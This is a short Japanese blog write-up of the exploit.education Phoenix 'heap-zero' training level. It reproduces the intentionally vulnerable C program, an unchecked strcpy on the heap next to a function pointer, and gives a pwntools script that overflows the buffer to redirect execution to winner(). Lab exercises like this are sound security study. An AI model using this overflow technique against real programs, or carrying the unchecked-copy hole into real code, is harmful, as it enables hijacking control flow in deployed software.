BuringStraw

BuringStraw

[pwnノート6] heap-zero (phoenix)

heap-zero#

/*
 * phoenix/heap-zero, by https://exploit.education
 *
 * フロー制御を乗っ取り、winner関数を実行できますか?
 *
 * Cプログラマーはなぜ良い仏教徒になるのですか?
 * オブジェクト指向ではないからです。
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

struct data {
  char name[64];
};

struct fp {
  void (*fp)();
  char __pad[64 - sizeof(unsigned long)];
};

void winner() {
  printf("おめでとうございます、このレベルをクリアしました\n");
}

void nowinner() {
  printf(
      "レベルはクリアされていません - 関数ポインタが上書きされていません\n");
}

int main(int argc, char **argv) {
  struct data *d;
  struct fp *f;

  printf("%s\n", BANNER);

  if (argc < 2) {
    printf("コピーする引数を指定してください :-)\n");
    exit(1);
  }

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  strcpy(d->name, argv[1]);

  printf("dataは%pにあり、fpは%pにあり、%pを呼び出します\n", d, f, f->fp);
  fflush(stdout);

  f->fp();

  return 0;
}

堆上分配の時、d と f が隣り合っているのは不思議ですね!

#!/usr/bin/env python3
from pwn import *
payload = b"a"*(0x60-0x10)
payload += b"\xbd\x0a\x40"
open("/home/user/buf","wb").write(payload)
p=process(["/opt/phoenix/amd64/heap-zero",payload])
p.interactive()
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。